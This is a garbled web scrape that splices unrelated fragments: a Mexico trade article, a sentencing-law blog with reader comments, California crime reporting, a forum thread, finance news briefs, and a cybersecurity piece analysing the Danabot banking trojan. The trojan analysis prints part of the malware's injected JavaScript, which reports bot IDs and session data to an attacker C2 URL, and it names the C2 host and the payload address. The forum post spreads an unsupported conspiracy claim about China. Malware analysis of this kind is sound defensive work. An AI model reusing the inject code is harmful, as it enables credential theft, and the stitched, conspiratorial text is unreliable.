another $25 billion from Ebrards government to develop the South over the next five years. Returning the Favor In the final analysis, Trumps visibly softened stance towards Mexico might simply be his way of returning the favor after the two countries and Canada reached an agreement in August to replace the old and contentious NAFTA trade pact. After years of intense negotiations, the trio managed to reach an agreement to replace North American Free Trade Agreement (NAFTA) with The United States-Mexico Trade Agreement (USMCA). The new deal is expected to last 16 years, considerably shorter than NAFTAs 24-year lifespan. Trump said Mexican officials pledged to start buying as much U.S. farm product as possible. One provision, in particular, seems to favor Mexican workers: starting 2023, 40-45 percent of automobile components will be made by workers who earn at least $16 per hour, meaning higher wages for Mexicans factory workers. But in reality, the biggest purpose its likely to serve will be to stop American automakers from shifting their factories to Mexico meaning less jobs for Mexicans. The Mexican government has already pledged to offer immigrant workers visas to stay in the country if they qualify. It remains to be seen whether the U.S. will return the favor and allow the same for Mexican and Central American workers. By Alex Kimani for Safehaven.com More Top Reads From Safehaven.com South on 101: Elvis impersonator and drag queens in new musical, innovative take on the Scrooge story, and more this weekend According to a report published by the New York Times, alleged China-linked hackers accessed thousands of sensitive EU diplomatic cables. The New York Times revealed that alleged Chinese state-sponsored hackers accessed thousands of sensitive EU diplomatic cables from the EUs diplomatic missions around the world. The hackers carried out spear-phishing attacks aimed at EU officials in Cyprus to gain access to the diplomatic communications network. Many of the cables are weekly reports from missions around the world, detailing conversations with leaders and officials. The content of the cables shows concerns about how to handle the politics of US President Donald Trump as well as how to manage diplomatic relationships with China, Russia, and Iran. The leak, discovered by cybersecurity firm Area 1, recalls the publication by Wikileaks of a vast haul of US State Department cables in 2010, though in the EU case the trove is much smaller and consists of less secret communications, the NYT reported. reported the AFP press. One of the cables included info on a meeting with Chinese President Xi Jinping that was disappointed for Trumps trade tactics. Another cable is related to the EUs diplomatic mission in Moscow and describes the summit in Helsinki in July between Trump and Russian President Vladimir Putin as successful. There are detailed reports on the crisis in Ukraine, including a warning issued in February related to the deployment of Russian nuclear warheads in Crimea. According to Area 1, the techniques, tactics, and procedures observed in the attacks aimed at EU Diplomatic Cables were similar to the ones associated with China-linked APT groups. Pierluigi Paganini (SecurityAffairs Diplomatic Cables, hacking) Share this... Linkedin Share this: Twitter Print LinkedIn Facebook More Tumblr Pocket Share On A new variant of the infamous Danabot botnet hit Italy, experts at Cybaze-Yoroi ZLab dissected one of these sample that targeted entities in Italy. In the last weeks, a new variant of the infamous Danabot botnet hit Italy. Security firms such as Proofpoint and Eset analyzed other samples of the same threat targeting the Australian landscape back in May 2018 and, more recently, in Italy. The Cybaze -Yoroi ZLab dissected one of these recent Danabot variants spread across the Italian cyberspace leveraging Fattura themed phishing emails (e.g. N051118), where the malicious payload was dropped abusing a macro-enabled word document able to download the malicious DLL paylaod . Technical Analysis The malware tries to connect to the remote host 149.154.157.104 (EDIS-IT IT) through an encrypted SSL channel, then it downloads other components and deletes itself from the filesystem. In the meanwhile it sets up a system service into the HKLM\SYSTEM\CurrentControlSet\Services registry key. These registry keys are responsible of the loading of dynamically linked libraries in the read only and hidden C:\ProgramData\D93C2DAC. Figure 1. Registry key created by malware Figure 2: Complete malware implant folder. This hidden folder contains two other components in execution, D93C2D32.dll and D93C2D64.dll. They are the same components compiled respectively in 32 and 64 bit, respectively executed through the rundll32.exe process according to the architecture of the compromised host. The malware implant loads the library at least two times, with different parameters each time, depending the called exported function: Figure 3. Exported functions by the malicious dll Figure 4. Example of execution of the malware As shown in Fig.3, the malware exports eigth key functions: f1, f2, f3, f4, f5, f6, f7 and f8. The f1 function is the responsible of the installation of the malware implant into the victim machine. It works as an installation function and it allows the execution of the other ones. The two functions which keep alive the malware witihn the system are f4 and f5: the f5 function sets a system forwarding proxy on local port 1080, this way, all the communication between the victim computer and the Internet passes through the proxy, enabling the malware to intercept and modify the network traffic. Istead, the function f4 manages the traffic and performs a Man-In-The-Browser attack. Every DNS call from victim computer to internet, matching with the list of banking sites hard-coded in the malware, will be modified; the malware adds in the original page a piece of javascript to steal sensible information such as username, password and session cookie. Figure 5. Listening proxy in execution During the execution of the functions above, the malware also searches for sensitive information stored in the data folder of the installed web browsers, like Google Chrome and Mozilla Firefox. It gathers saved credentials and stores them in a temporary sqlite database located in C:\WINDOWS\TEMP path. Figure 6. Temporary SQLite database with stealed credentials Man in the Browser To perform man in the browser attack, the malware sets a system forward proxy as shown in Fig.7. This way, it inspects all incoming and outgoing internet traffic. When the victim requests a specific web page related to one of the targeted sites, the malware injects a custom javascript code into the page in order to intercept and exfiltrate sensitive user information such as personal details, credentials and PAN numbers. The proxy is managed by the f4 function of the malicious dll. Figure 7. Proxy setting Figure 8. Snippet from malware configuration By extracting the man-in-the-browser configuration from the malware sample, we retrieved the complete list of the intercepted web pages, revealing the malware is targeting the customers of a wide range of financial institutions: most of them are Italian banking companies such as Bancoposte, Intesa San Paolo, Banca Generali, BNL, Hello Bank, UBI Banca, ..etc . Besides the banking web sites, a set of email provider are also targeted by the malware, for instance general purpose webmail providers such as Tim, Yahoo, Hotmail, GMail, and other more specific email services related to Italian real estatecompanies such as Tecnocasa. Further details about the targeted organizations can be found at the bottom of the article. Figure 8. Banking website without js injection Figure 9: Banking website with js injection Web-Inject The malicious javascript injected into the webpages sends the stolen information to the C2, including session cookie of the victim in order to infiltrate already authenticated sessions. The snippet of code below shows the webinject code downloaded from http://equityfloat[.]pw/hc/myjs28frr_s51.js. Figure 10: Downlaoded javascript from equityfloat[.]pw C2 The web inject code check-ing to a malicious php resource /my9rep/777.php, sending bot-id details and current session cookies. var wwww = 'https://equityfloat.pw/'; wwww = "https://" + document.location.host + "/"; var waitdiv = "

Poczekaj az Twoj komputer zostanie zidentyfikowany. Moze to potrwac troche czasu...
"; var waitfk = ""; var waitlok = "

Prowadzone sa prace modernizacyjne w celu jak najszybszego przywrocenia dzialania systemu.
Przyblizony czas modernizacji wynosi kilka godzin.
Przepraszamy za tymczasowe utrudnienie i niedogodnosci.
"; var netbot = "frr"; var rem777bname2 = ""; var tbid = my7ajx("#myjs1[data-botid]"); if (tbid.length > 0) rem777bname2 = tbid.attr("data-botid"); var loca = location.href; var tyyp = true; var apan = wwww + "/my9rep/777.php?typ=" + document.location.host + "&sub=" + netbot + "&b=2&inf=" + rem777bname2; var args = {}; var tmp1; var tkstate = 1; var lg = "", ps = "", tk = ""; var lgf; var pss; var tabl; var tabltr; var btn; var clickfnc; var ansq = false; In particular, we can see the malware sets the bot-id of the infected machine, using a custom JQuery script: var tbid=my7ajx(#myjs1[data-botid]);. This bot-id is concunated for the path to the php page of the C2 equityfloat.]com . var apan = wwww + "/my9rep/777.php?typ=" + document.location.host + "&sub=" + netbot + "&b=2&inf=" + rem777bname2; This way, the attacker is informed about the successful injection of the MitB agent. Conclusion The Danabot threat expanded its activities into the Italian landscape during the last year, especially during the November 2018(rif EW N051118) when a massive attack wave has been intercepted during CSDC security monitoring operations. The specific configuration extracted from the analyzed sample is another clear indication of the increasing criminal interest against Italian users and organization, not limited to the traditional banking sector. Moreover, this particular Novembers wave has also been potentially originated by the same threat actor responsible for past Gootkit attack waves, internally referenced as TH-106. In fact, according to CERT-PA technical analysis , this actor may decide to try to achieve its malicious objectives leveraging another malware toolkit, showing adaptive capabilities to lower the chance of being taken down. Further data, including IoCs and Yara rules, decide in the report published on the Yoroi blog. Pierluigi Paganini (SecurityAffairs malware, Danabot) Share this... Linkedin Share this: Twitter Print LinkedIn Facebook More Tumblr Pocket Share On Lamenting that the "law descends into a ghoulish inferno" as it contemplates the execution of a condemned Alabama murderer | Main | "Even Imperfect Algorithms Can Improve the Criminal Justice System" December 20, 2017 "President Trump Commutes Sentence of Sholom Rubashkin"!?!?! The title of this post is the headline of this press release from the White House this evening. Here are the details: Today, President Donald J. Trump commuted the prison sentence of Sholom Rubashkin, an action encouraged by bipartisan leaders from across the political spectrum, from Nancy Pelosi to Orrin Hatch. Mr. Rubashkin is a 57-year-old father of 10 children. He previously ran the Iowa headquarters of a family business that was the countrys largest kosher meat-processing company. In 2009, he was convicted of bank fraud and sentenced thereafter to 27 years in prison. Mr. Rubashkin has now served more than 8 years of that sentence, which many have called excessive in light of its disparity with sentences imposed for similar crimes. This action is not a Presidential pardon. It does not vacate Mr. Rubashkins conviction, and it leaves in place a term of supervised release and a substantial restitution obligation, which were also part of Mr. Rubashkins sentence. The Presidents review of Mr. Rubashkins case and commutation decision were based on expressions of support from Members of Congress and a broad cross-section of the legal community. A bipartisan group of more than 100 former high-ranking and distinguished Department of Justice (DOJ) officials, prosecutors, judges, and legal scholars have expressed concerns about the evidentiary proceedings in Mr. Rubashkins case and the severity of his sentence. Additionally, more than 30 current Members of Congress have written letters expressing support for review of Mr. Rubashkins case. Because I have some personal history working on this case, I am not inclined to comment at great length beyond wanting to here praise President Trump for bringing some (non-political?) attention to his historic clemency powers through this grant. I also will link to some prior posts about this long-controversial case. Some of many prior posts on the Rubashkin case: December 20, 2017 at 07:35 PM | Permalink Comments Hooray! Judge Linda Reade wont be lifting her flask for this one. Posted by: FluffyRoss | Dec 20, 2017 8:14:34 PM Judges who emulate prosecutors involving criminal trials belong in a different profession OR in a ; their choice Nemo Me Impune Lacessit Posted by: Docile the Kind Soul in Oregon | Dec 21, 2017 10:01:17 AM You claim that this is not a political act? Posted by: whatever | Dec 21, 2017 10:41:02 AM Poor defendants of color who are involved in far less egregious frauds and are convicted at trial are sentenced to more excessive sentences than this person has served. Completely appropriate however that the commutation is given on the same day the GOP completed the "most massive" heist in US history. Posted by: whatever | Dec 21, 2017 10:45:23 AM Selective use of his clemency powers for favored defendants [why is this solitary guy guilty of bank fraud with 10 children -- notable for some reason -- chosen?] doesn't really help encourage a process where the power is used consistently in a broader fashion. So I don't see how much "praise" is really warranted here. Posted by: Joe | Dec 21, 2017 11:10:45 AM Unlike Obama against whom the Professor offered unrelenting criticism he now praises Trump who is clearly using his power to benefit the rich and powerful. Posted by: whatever | Dec 21, 2017 11:21:11 AM whatever: I see every act by every Prez to be political in some way, but some uses of the clemency power are obviously more political than others. This one strikes me as less political than the Arpaio pardon, but I would not contend that any Prez action in this arena was "not a political act." My comment above was a contention/hope that this Rubashkin clemency would bring some attention to his historic clemency powers that were not merely based in (critical) political terms. But it would seem, whatever, that you still see/criticize this decision largely in political terms (as is your right, of course). Meanwhile, I criticized Prez Obama because he talked a big game about criminal justice reform on the campaign train in 2007, but then failed to use his clemency power in any way for his first two years in office, and only granted one commutation during his entire first term. If Prez Trump grants simply one more commutation over the next three years, he will have a better first term record than Prez Obama. As one who has long advocated for all modern Prez to use their clemency powers more, I praise those who do and criticize those who do not. Prez Trump has a lot more work to do on this front, but he has now done more on this front in his first year than did any of the last three presidents over their first two years in office. Posted by: Doug B. | Dec 21, 2017 2:16:45 PM "simply one more commutation over the next three years, he will have a better first term record than Prez Obama" President Obama did various things, be them not enough for a strong supporter of reform in this area, to advance the issue of criminal justice reform. One aspect, but one, would be those parts of PPACA that have assisted those in the criminal justice system. This was touched upon on this blog as I recall in a few entries. But, if Trump grants "simply one more commutation," perhaps like this one rather clearly a special interest grant,* he would have a "better first term record" than Obama. As one who supports reform, this sort reaching to find anything possible good in one hand but being a stricter grader on the other, does not come off as very fair. Whatever's response might be a tad blunt, but you know, it isn't simply from left field. ---- * I think it is actually BETTER in a major way to not have a stand alone politically motivated usage of one's commutation/pardon power as compared to Obama's more slow and steady consistent usage. Posted by: Joe | Dec 21, 2017 3:42:47 PM @Doug I see the commutation in political terms too. Sure, it isn't political in the blue state red state sense but that is not the only kind of politics that exist. How can anyone ignore the fact that he was/is wealthy and Jewish? I don't think he owes Trump anything: if I have any measure of the WH it is the son-in-law to whom Rubashkin owes the thanks. In other words, even if one thinks that Rubashkin's sentence was unfair (a dubious proposition but let's grant it for the sake of argument) why among all the injustices that exist in the world today is it THIS injustice that attracts Trump's attention? He had powerful friends, that is all. Rubashkin belonged to the right "in-group". There is no crime in that..it is not a crime to be Jewish or financially successful...but Rubashkin is yet more evidence that justice in this country is bought and sold to the highest bidder. Posted by: Daniel | Dec 21, 2017 3:45:35 PM Joe, I am a much stricter grader of Prez Obama because he campaigned on bringing "a new dawn of justice in America," and yet he largely ignored that pledge in the clemency arena until the second half of his second term. At the end, he did a whole lot (though still not nearly enough), but I think he was rightly criticized by many for not doing more earlier ESPECIALLY BECAUSE HE CAMPAIGNED PROMISING TO DO A LOT MORE. Meanwhile, Prez Trump campaigned on being tougher on crime, and yet he granted a significant commutation sooner than any Prez in a long time. Like you, I would like to see this kick off a slow and steady consistent use of clemency powers. But every journey starts with a single step, and Prez Trump made that step sooner than others. Meanwhile, Daniel, I am certain Jared Kushner helped bring this case to Trump's attention, but hundreds of prominent folks on both sides of the aisle brought this case to Prez Obama's attention. Do you think Prez Obama was inclined to reject the prospect of clemency because Rubashkin did NOT belong to the right "in-group" from Obama's perspective? I think the best response to the concern that this one person got a break while other similar folks did not is to urge decision-makers to give other folks more consideration. It will always be "political" what types of offenders a Prez wants to focus on, but it ought to be constructive how the criminal justice community responds when relief is given in whatever form. In this particular setting, I always think "here are more who merit consideration" is a more constructive response than "you should not have given that person special consideration." Posted by: Doug B. | Dec 21, 2017 5:43:58 PM @Doug @Doug writes, "In this particular setting, I always think "here are more who merit consideration" is a more constructive response than "you should not have given that person special consideration." Well....that might be a more constructive response if one thought that building on this action was possible. Given, however, that I am deeply skeptical and even cynical about Republican efforts on justice (any kind of justice, not just criminal justice) count me among those who think that "here are more" is a waste of breath. Let me put it this way: actions speak louder than words and when Trump actually does something to address the chronic injustices in America I will allow myself hope. Until then, nope. Posted by: Daniel | Dec 21, 2017 6:37:18 PM Fluffy Ross has it right, beat me to the punch. So I will smile and be content in knowing that a bunch if people have been hammered to the cross by this former judge. Especially drug cases, guideline sentences and every engancement applied, rarely any reductions. When a judge goes too far, big writeup for those that havent read her part in this case. Fluffy great job and so few words gettingbthe job done. I tip my flask to you. Posted by: MidWestGuy | Dec 22, 2017 12:17:48 AM This has the appearance of a special interest commutation, just like the Arpaio, so there is nothing particularly "significant" about it coming from Trump. We had every right to expect such things from him. The fact they don't match his general rhetoric isn't exactly praiseworthy overall. Actually, his rhetoric at times was that he would break the normal rules to get things done, so you know, fair warning. Obama used some enthusiastic language like politicians tend to do and once they are in office they repeatedly find out things are harder, especially when the other party more than usual don't want to play. Obama did get some stuff done. One more commutation won't make Trump more impressive here unless you use two standards. Posted by: Joe | Dec 22, 2017 11:09:03 AM Joe, it is 100% true when it comes to legislation, presidents "repeatedly find out things are harder, especially when the other party more than usual don't want to play." But clemency is different, which is why Obama could get so much done on his own on this front in 2015-2016, and why I criticized so much for doing so little on his own on this front from 2009 to 2014. And, "special interest" or not, Prez Trump softened the severity of federal sentencing for one imprisoned soul in his first year, while Prez Obama did not do that for any imprisoned soul his first two years. After 8 years in the Oval Office, I would bet Obama's commutation record will be better (because he closed on an historic pace). But, stunningly, if Trump is not re-elected, he would not have to grant any more commutations in order to tie Obama's first Term record. That all said, I would be greatly surprised if Trump's CJ reform record ends up in the ballpark of Obama's, but Trump did not campaign promising CJ reform like Obama did. My standard is based on part on what a politician had promised to deliver and what seems feasible. Obama promise to bring in "a new dawn of justice," and really did not deliver in the CJ arena despite some good (and some not-so-good) efforts. Posted by: Doug B | Dec 22, 2017 2:07:06 PM Daniel: I certainly see a reasonable basis for being "deeply skeptical and even cynical about Republican efforts on justice," so I can respect the suggestion that one not "waste time" urging Prez Trump to do more clemency or more in the CJ reform arena. But I actually think Trump may be subject to doing something through effective cajoling in part because he seemingly has few core commitments in this context AND he may have unique contempt for certain kinds of prosecutorial/judicial decisions. Clearly Rubashkin supporters figured out a way to effectively cajole here, so maybe others can be effective in other settings. Posted by: Doug B | Dec 22, 2017 2:21:07 PM Let's hope the defendant makes his restitution payments. Is Pollard in Israel yet? Posted by: federalist | Dec 22, 2017 7:12:07 PM Joe, either Trump's action was justified or it was not. You don't opine on that. here's a blast from the past: http://www.nytimes.com/2011/12/14/world/middleeast/beirut-bank-seen-as-a-hub-of-hezbollahs-financing.html?ref=middleeast Posted by: federalist | Dec 23, 2017 11:56:01 AM "Joe, either Trump's action was justified or it was not. You don't opine on that." I actually did "opine on that" (critique of the selective nature and like) but commenting on something Doug or whomever said is allowed too. --- Doug, you can keep on going on, but one more commutation by Trump isn't going to impress me much vis-a-vis Obama, including taking into his complete record. You can critique Obama vs his rhetoric etc. all you wish [though him having high flowery rhetoric while running is imho not exactly too noteworthy -- that is what people do, partially out of naivete of what they can do with the system in place]. Posted by: Joe | Dec 24, 2017 3:03:46 PM Post a comment US Sentencing Commission provides latest "Sentence and Prison Impact Estimate" for FIRST STEP Act | Main | State clemency developments during a holiday season still full of (foolish?) hope for clemency boldness from Prez Trump The title of this post is the headline of this notable new Los Angeles Times article that merits a read in full. Here is the first part of the piece: Over the last decade, California has led the nation in reducing its prison population. The state has shortened sentences and diverted some offenders to the counties for incarceration and supervision, transforming Californias criminal justice system into what supporters hope will become a humane model around the country. But amid the changes, crime has increased in recent years, sparking debate about the causes and giving ammunition to those leading a new effort to roll back some of the reforms. An analysis by the Marshall Project and the Los Angeles Times found that Californias crime rates remain near historic lows, but overall crime spiked in both 2012 and 2015, the years that immediately followed two major statewide measures aimed at decreasing the number of people in prison. Those jumps were mainly driven by increases in property crimes, particularly thefts from motor vehicles. After decades of mirroring national downward trends in violent crime, California saw a 12% increase from 2014 to 2017, while the violent crime rate in the other 49 states together increased only 3%, the analysis showed. In 2014, California voters approved a ballot measure that reduced sentences for many low-level drug and property crimes. Californias property crime rate fell slightly in the last two years, but remains 2% higher than it was in 2014. By contrast, the rate of property crimes in the rest of the nation has dropped by 10% over the same period. There is no simple explanation. Crime trends vary dramatically from county to county. Thirty-one of the states 58 counties saw an increase in violent crime last year, while 22 saw an increase in property crimes. The rest stayed flat or declined. What single factor can explain the fact that violent crime went up 6% last year in Los Angeles but fell 6% in Sacramento? There also have been large differences in the way counties spent the billions in state money allocated to implement the new measures. Some focused on building jails, others on recruiting and deploying police, and still others experimented with collaborative courts and reentry programs. To complicate matters, specific crimes come with their own caveats. Reports of rape have increased nationally since 2013, for example, but sexual assaults have traditionally been underreported, and part of the increase stems from the FBIs decision to broaden its definition of rape in 2013. (The Marshall Project and Times data analysis excluded rape.) Reports of aggravated assaults in California also have increased, but part of that increase is likely due to underreporting from 2005 to 2012 by the Los Angeles Police Department. Californias criminal reform revolution began in earnest in 2011 after the U.S. Supreme Court approved a cap on the number of inmates in prison. Lawmakers responded by passing Assembly Bill 109, known as realignment, which lowered the prison population by shifting the burden to the counties to house and supervise thousands of inmates convicted of crimes that the law categorized as nonviolent and nonserious. Three years later, California voters approved Proposition 47, which turned drug use and most theft convictions from felonies to misdemeanors. In 2016, voters overhauled the state parole system by backing Proposition 57, which gave thousands of inmates the chance to earn an earlier release from prison. The undeniable result of all these measures is that people are on the street today who would have been locked up in previous years. Critics of the reforms argue that they have created a permissive climate that makes policing harder and weakens the deterrent effect of a possible prison sentence. Theres no accountability, said Assemblyman Jim Cooper (D-Elk Grove). People know they can get away with things. Thats contributed to it. Thats really been a big source of frustration. No ones going to jail anymore. Cooper, a retired Sacramento County sheriffs captain, has been a leading voice in a coalition of prosecutors and law enforcement groups pushing back. A statewide initiative that will appear on the 2020 ballot would reverse some provisions of Proposition 47, toughen supervision of parolees and disqualify some prisoners from early release. Backers of the proposed rollback argue that the states drug courts, intended as an alternative to criminal courts, are seeing fewer people because prosecutors can no longer force someone into treatment with the threat of a felony. (Some counties, including San Diego, have reported decreases in drug court participation since Proposition 47, but no statewide figures are available.) Those who favor toughening the law also claim counties are struggling to supervise offenders with violent criminal records. Supporters of the prison downsizing measures dispute any link between the new laws and an increase in crime. They argue that using 2014 as a baseline the year with the fewest crimes reported in the state since the 1960s unfairly skews any analysis. To look at it from a year-to-year basis is very short-sighted, said Michael Romano, the director of the Three Strikes Project at Stanford Law School who helped write Proposition 47. We really have had a sustained downward trend over the past decade or two. He said its unlikely any single factor led to an increase in crime, but rather a combination of issues, such as poverty and unemployment, in different counties throughout the state. Californians for Safety and Justice, a group that co-authored Proposition 47, points out that several states saw larger increases in violent crime than California from 2016 to 2017. (An analysis by The Times and the Marshall Project found 20 states with larger increases in violent crime rates.) They note that none of the recent laws changed penalties for violent crimes. In 2013, the nonpartisan Public Policy Institute of California found that the first major prison downsizing law, realignment, had no effect on violent crime, but did lead to an increase in auto thefts. In 2016, a prestigious social science journal reached a similar conclusion. Under realignment, people convicted of auto theft, a nonviolent felony, usually serve shorter sentences in their local jails and are released under local supervision. Two studies published this summer one by a UC Irvine criminologist and another by the Public Policy Institute of California found no link between Proposition 47 and increases in violent crime. Both noted a possible link between the initiative and increases in larceny, particularly thefts from motor vehicles, although the Irvine study found those links too tenuous to conclude Proposition 47 was to blame. After national crime data for 2017 released this fall showed California departed from the national trend violent crime in California ticked up slightly while it fell slightly across the 49 other states taken together researchers said they planned to revisit the question of a link between Proposition 47 and violent crime. Californias robbery rate jumped 14% from 2014 to 2017; the rest of the country saw a 7% drop. It is troubling and deserves more attention, said Magnus Lofstrom, policy director of corrections at the Public Policy Institute of California. Username: Password: or Register Back to Forum Reply to This post Post New Thread Thread Rating: 0 Vote(s) - 0 Average 1 2 3 4 5 china pulls a mafia style 007 hit on U.S army veteran on plane wont give body back LoP Guest lop guest User ID: 479264 12-20-2018 05:23 PM Post: #1 china pulls a mafia style 007 hit on U.S army veteran on plane wont give body back Advertisement the Chinese president is a member https://nypost.com/2018/12/20/dads-myste...r-answers/ A National Guard veteran-turned-health care exec died on a business trip to China more than a week ago and his grief-stricken family on Long Island cant get any answers or even his body. Retired Lt. Col. Norman Easy former deputy commander of the 369th Sustainment Brigade, a successor unit to World War Is famed Harlem Hellfighters boarded a China Eastern Airlines jet at JFK Airport on Dec. 7 to fly to Shanghai. The decorated former officer, who served two tours of duty in Iraq, was planning to seal a groundbreaking deal for employer Siemens Healthineers USA that hed been working on for more than a year, his family said Wednesday. Wife Nixtia Easy said the 57-year-old father of four was scheduled to arrive the evening of Dec. 8, and she grew worried when he didnt let her know hed landed. I told my son, I said, Daddy has not called, and that is not right. Daddy always calls us, she recalled during an interview in the familys Freeport home. A call to her husbands cellphone went straight to voicemail, she said, and she never got any response to a series of messages, texts and emails. So Nixtia, 48, contacted his colleagues in Shanghai the next day. She said one co-worker went to a police station and spoke with a cop who said hed been at the airport because a person matching Easys description had died on an inbound flight. The co-worker then told the family to contact the US Consulate General in Shanghai, which gave them the devastating news. Since then, the Consulate General has provided conflicting accounts of when Easy died, ranging from three hours before landing to just 30 minutes but no explanation why, the family said. Son Marcus, 28, said Chinese authorities have refused to release his dads body unless the family signs a waiver agreeing not to challenge an official account of what happened. There is a fear that his body is not being taken care of, or being tampered with, and evidence is being tampered with, he said. Its been 11 days, and we have no idea what methods are being used to preserve his body. Daughter BallBuster9000 Easy, 20, broke down in tears as she said that this is all delaying the process more and more, and we cant even grieve yet. Im just frustrated and Im sad. I just feel like he was such a good man, and he doesnt deserve this, she said. In desperation, the family said they hired the International SOS security firm to try to retrieve his body. Neither the US State Department, the Chinese Embassy in Washington, DC, China Eastern Airlines nor Siemens returned requests for comment. there is an ancient Chinese secret society that feel America is there's because the native Americans are Chinese and America is oppressing their people.the Chinese president is a memberA National Guard veteran-turned-health care exec died on a business trip to China more than a week ago and his grief-stricken family on Long Island cant get any answers or even his body.Retired Lt. Col. Norman Easy former deputy commander of the 369th Sustainment Brigade, a successor unit to World War Is famed Harlem Hellfighters boarded a China Eastern Airlines jet at JFK Airport on Dec. 7 to fly to Shanghai.The decorated former officer, who served two tours of duty in Iraq, was planning to seal a groundbreaking deal for employer Siemens Healthineers USA that hed been working on for more than a year, his family said Wednesday.Wife Nixtia Easy said the 57-year-old father of four was scheduled to arrive the evening of Dec. 8, and she grew worried when he didnt let her know hed landed.I told my son, I said, Daddy has not called, and that is not right. Daddy always calls us, she recalled during an interview in the familys Freeport home.A call to her husbands cellphone went straight to voicemail, she said, and she never got any response to a series of messages, texts and emails. So Nixtia, 48, contacted his colleagues in Shanghai the next day.She said one co-worker went to a police station and spoke with a cop who said hed been at the airport because a person matching Easys description had died on an inbound flight.The co-worker then told the family to contact the US Consulate General in Shanghai, which gave them the devastating news.Since then, the Consulate General has provided conflicting accounts of when Easy died, ranging from three hours before landing to just 30 minutes but no explanation why, the family said.Son Marcus, 28, said Chinese authorities have refused to release his dads body unless the family signs a waiver agreeing not to challenge an official account of what happened.There is a fear that his body is not being taken care of, or being tampered with, and evidence is being tampered with, he said.Its been 11 days, and we have no idea what methods are being used to preserve his body.Daughter BallBuster9000 Easy, 20, broke down in tears as she said that this is all delaying the process more and more, and we cant even grieve yet.Im just frustrated and Im sad. I just feel like he was such a good man, and he doesnt deserve this, she said.In desperation, the family said they hired the International SOS security firm to try to retrieve his body.Neither the US State Department, the Chinese Embassy in Washington, DC, China Eastern Airlines nor Siemens returned requests for comment. LoP Guest lop guest User ID: 479222 12-20-2018 05:36 PM Post: #2 RE: china pulls a mafia style 007 hit on U.S army veteran on plane wont give body back why was it in china?..don't start no sh*t, there won't be no sh*t Back to Forum Reply to This post Post New Thread Latest issue of the Federal Sentencing Reporter covers "The 2018 Debate over Federal Statutory Reform Proposals" | Main | "California transformed its justice system. But now crime is up, and critics want rollbacks" December 19, 2018 US Sentencing Commission provides latest "Sentence and Prison Impact Estimate" for FIRST STEP Act Back in March of this year, as reported in this post, US Sentencing Commission posted on its website this letter from the USSC's Director of its Office of Research and Data to an analyst at the Congressional Budget Office. This document included a detailed "Sentence and Prison Impact Estimate Summary" of the impact of S.1917, the Sentencing Reform and Corrections Act of 2017. That analysis not only detailed the expected impact of an array of provisions in the SRCA, but also confirmed my sense that the prison-reform provisions of that bill could be in many ways more important and impactful than many of its sentencing-reform provisions. The FIRST STEP Act, notably, has preserved and even expanded upon some of the prison-reform provisions that were in the SRCA, but it only now has a few of its sentencing-reform provisions. Still, its impact is likely to be considerable (with just how considerable depending upon its implementation). And, helpfully, the US Sentencing Commission has now produced this new, updated document titled "Sentence and Prison Impact Estimate Summary, S. 756, The First Step Act of 2018 (as passed by the Senate on December 18, 2018)." Here is that document's basic accounting of the three biggest impact items of the bill: Section 101: Risk and Needs Assessment System Retroactive Impact: 106,114 eligible offenders were in BOP custody as of May 26, 2018. Section 402: Broadening of Existing Safety Valve (to offenders with up to 4 criminal history points) Prospective Impact: 2,045 Offenders Annually; -21.8% Sentence Reduction; Decrease of 1,072 beds in BOP 5 years after effective date. Retroactive Impact: Not authorized in bill. Section 404: Retroactive Application of Fair Sentencing Act (to defendants previously sentenced) Impact: 2,660 eligible offenders were in BOP custody as of May 26, 2018. December 19, 2018 at 09:16 PM | Permalink Comments Post a comment GlobeNewswire Santa Clarita, Dec. 02, 2021 (GLOBE NEWSWIRE) -- Valencia, CA based Promeza MG is pleased to announce that their Christmas dinosaur book is back in stock, and each one comes with two dinosaur Christmas tree ornaments. The book makes a great present for any child who loves dinosaurs, and the ornaments provide an extra bit of excitement to go with the gift. With the Christmas season just around the corner, Promeza is ready to take orders both through their website and through Amazon. If your chil Dec 20 (Reuters) - Sinotrans Ltd: * UPDATES ON ADDITIONAL CAPITAL CONTRIBUTION TO CHINA MERCHANTS CHINA- BELARUS INVESTMENT CONSULTANCY (SHENZHEN) CO * UNIT CM LOGISTICS MAY ELECT TO MAKE FURTHER ADDITIONAL CAPITAL CONTRIBUTION OF UP TO US$23.1 MILLION INTO JOINT VENTURE CO IN 2019 * CM YINGKAI MAY MAKE PROPORTIONATE CAPITAL CONTRIBUTION INTO JV CO OF UP TO US$31.9 MILLION Source text for Eikon: Further company coverage: Photo of Noble Group logo at investor event. (Photo: Reuters File Photo) Noble Group has completed the financial restructuring on Thursday (20 December) amid an ongoing investigation by Singapore authorities into the company for alleged accounting fraud. The company applied to a Bermuda court on 14 December to appoint an officer to carry out its restructuring after the Singapore regulators earlier refusal to allow a transfer of Noble Groups listing status as part of its restructuring plan. The Singapore regulators are investigating the company for suspected false, misleading statements and breaches of disclosure requirements. The restructured entity Noble Group Holdings (New Noble) has acquired all the assets of the company while new financing totalling $800 million has been made available to New Noble, according to a statement to the Singapore stock exchange on Thursday. The perpetual capital securities exchange offer is expected to complete on Friday, when all existing perpetual capital securities will be exchanged for new ones issued by New Noble. Shares in New Noble are now held 70 per cent by its senior creditor special purpose vehicle (SPV), 20 per cent by Noble Group shareholders, and 10 per cent by the management SPV. The board also announced the resignation of Wayne Porritt and Tim Isaacs, who joined the board earlier this year as independent non-executive directors to help guide the company through the restructuring. Paul Brough, Nobles current chairman, has agreed to become the first chairman of New Noble until a suitable successor has been identified, the statement said. Brough, a restructuring veteran, had previously said he would step down once the restructuring was completed. Noble said it needed to reconsider the most appropriate composition of the board of directors of the restructured company, which will take more time to complete, citing the ongoing investigation. The board of directors of New Noble will also include new directors appointed by shareholder Goldilocks Investment and the creditors, management representatives and certain independent non-executive directors from the NGL Board to provide continuity. Story continues The company also wishes to advise that on 11 December 2018, it sent a detailed response to ACRA (Accounting and Corporate Regulatory Authority) providing clarifications, explanations and answers in respect of the questions raised by ACRA in its letter of 20 November 2018., the statement said. Noble said it will continue to fully cooperate with ACRA on the investigation. Related stories: Noble plans to file to Bermuda court to implement restructuring Singapore probes Noble on suspected false statements, disclosure breaches Noble Group extends restructuring deadline to 11 December An Australian academic who was followed for a week by a state-owned newspaper in Hong Kong has suggested Beijing could be behind the intimidation and has vowed not to be bullied. Kevin Carrico -- a lecturer in Chinese Studies at Sydney's Macquarie University -- was tailed by the Wen Wei Po tabloid during a visit earlier this month and was the subject of a front-page "expose". The paper accused him of stirring "pro-independence" sentiment in Hong Kong, holding "secret meetings", and secretly photographed him throughout his week-long trip, as well as on previous visits. The incident has raised concerns about ebbing freedoms in Hong Kong, including the ability of academics to carry out research. Carrico -- who 